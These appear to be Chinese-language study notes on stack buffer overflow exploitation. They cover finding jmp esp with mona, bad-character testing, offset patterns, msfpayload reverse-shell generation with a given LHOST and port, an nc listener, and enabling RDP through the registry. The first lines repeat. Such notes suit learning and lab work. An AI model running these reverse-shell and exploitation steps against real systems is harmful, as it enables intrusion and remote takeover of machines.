immunity debugger
输入栏输入!mona modules (!执行 mona脚本)
!mona find -s "\xff\xe4" -m openc32.dll (要查找jmp esp 的内存指令,到linux下cd /usr/share/metasploit-framework/tools中利用nasm_shell.rb,将汇编语言转换为二进制语言 ffe4)
为了防止payload直接执行被覆盖,所以定向esp之后加了 “\x90”*8 在家payload
immunity debugger
输入栏输入!mona modules (!执行 mona脚本)
!mona find -s "\xff\xe4" -m openc32.dll (要查找jmp esp 的内存指令,到linux下cd /usr/share/metasploit-framework/tools中利用nasm_shell.rb,将汇编语言转换为二进制语言 ffe4)
为了防止payload直接执行被覆盖,所以定向esp之后加了 “\x90”*8 在家payload
测试坏字符
发送0x00-0xff 256个字符,找出所有坏字符
00000000 一个字符 11111111 一个字节最大
usr/share/metasploit-framework/tools/pattern_create.rb 2700
创建唯一字符串
变通思路
寻找地址固定的系统模块
利用系统模块jmp esp指令
mana.py
!mona modules mona查看模块
rebase 系统重启
dep
aslr
os dll 是否是系统自带的
!mona find -s"\xff\xe4" -m 模块名 查找某个模块里的jmp esp的二进制
mrtasploit的脚本nasm
生成shellcode
Scratch自己写
生成payload shellcode是其中一种
./msfpayload -l 查看有多少shellcode
反向链接shellcode
./msfpayload win32_reverse LHOST=192.168.1.117 PORT=444 c
指定脚本,反向连接的地址和端口 c语言格式的shellcode
R 指定原始格式,才能编码
EXITFUNC=thread 指定通过退出线程的方式退出shellcode,避免崩溃
通过 grep 来查看是否有坏字符
./msfencode 编码 通过管道编码 避开坏字符 -b 表示不要哪些字符
\x90 nop
nc -vlp 444 侦听本机端口
操作系统配置在注册表 注册表改键值来开启3389
rdesktop linux系统下的windows远程桌面
RegSnap 抓取注册表快照,来比照变化